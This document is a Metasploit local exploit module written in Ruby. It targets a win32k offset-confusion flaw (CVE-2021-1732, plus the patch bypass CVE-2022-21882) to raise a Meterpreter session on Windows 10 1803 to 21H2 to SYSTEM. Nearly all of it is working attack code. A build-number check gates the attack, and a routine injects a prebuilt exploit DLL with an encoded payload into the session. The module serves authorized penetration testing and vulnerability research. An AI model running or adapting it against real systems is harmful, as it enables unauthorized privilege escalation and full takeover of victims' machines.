Win32k ConsoleControl Offset Confusion / Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = AverageRanking  
  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::ReflectiveDLLInjection  
prepend Msf::Exploit::Remote::AutoCheck  
  
include Msf::Exploit::Deprecated  
moved_from 'exploit/windows/local/cve_2021_1732_win32k'  
  
def initialize(info = {})  
super(  
update_info(  
info,  
{  
'Name' => 'Win32k ConsoleControl Offset Confusion',  
'Description' => %q{  
A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of  
NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being  
treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to  
achieve an out of bounds write operation, eventually leading to privilege escalation.  
  
This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021.  
In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is  
is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to  
function on a wider range of Windows 10 targets.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
# CVE-2021-1732  
'BITTER APT', # exploit as used in the wild  
'JinQuan', # detailed analysis  
'MaDongZe', # detailed analysis  
'TuXiaoYi', # detailed analysis  
'LiHao', # detailed analysis  
# CVE-2022-21882  
'L4ys', # github poc  
# both CVEs  
'KaLendsi', # github pocs  
# Metasploit exploit  
'Spencer McIntyre' # metasploit module  
],  
'Arch' => [ ARCH_X64 ],  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' => {  
'EXITFUNC' => 'thread'  
},  
'Targets' => [  
[ 'Windows 10 v1803-21H2 x64', { 'Arch' => ARCH_X64 } ]  
],  
'Payload' => {  
'DisableNops' => true  
},  
'References' => [  
# CVE-2021-1732 references  
[ 'CVE', '2021-1732' ],  
[ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ],  
[ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ],  
[ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ],  
[ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ],  
# the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit  
[ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ],  
[ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ],  
[ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ],  
[ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ],  
# CVE-2022-21882 references  
[ 'CVE', '2022-21882' ],  
[ 'URL', 'https://github.com/L4ys/CVE-2022-21882' ],  
[ 'URL', 'https://github.com/KaLendsi/CVE-2022-21882' ]  
],  
'DisclosureDate' => '2021-02-09', # CVE-2021-1732 disclosure date  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_OS_RESTARTS, ],  
'Reliability' => [ REPEATABLE_SESSION, ],  
'SideEffects' => []  
}  
}  
)  
)  
end  
  
def check  
sysinfo_value = sysinfo['OS']  
  
if sysinfo_value !~ /windows/i  
# Non-Windows systems are definitely not affected.  
return Exploit::CheckCode::Safe  
end  
  
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i  
vprint_status("Windows Build Number = #{build_num}")  
  
unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19044)  
print_error('The exploit only supports Windows 10 versions 1803 - 21H2')  
return CheckCode::Safe  
end  
  
CheckCode::Appears  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86  
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')  
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86  
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')  
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64  
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')  
end  
  
encoded_payload = payload.encoded  
execute_dll(  
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-21882', 'CVE-2022-21882.x64.dll'),  
[encoded_payload.length].pack('I<') + encoded_payload  
)  
  
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')  
end  
end  
`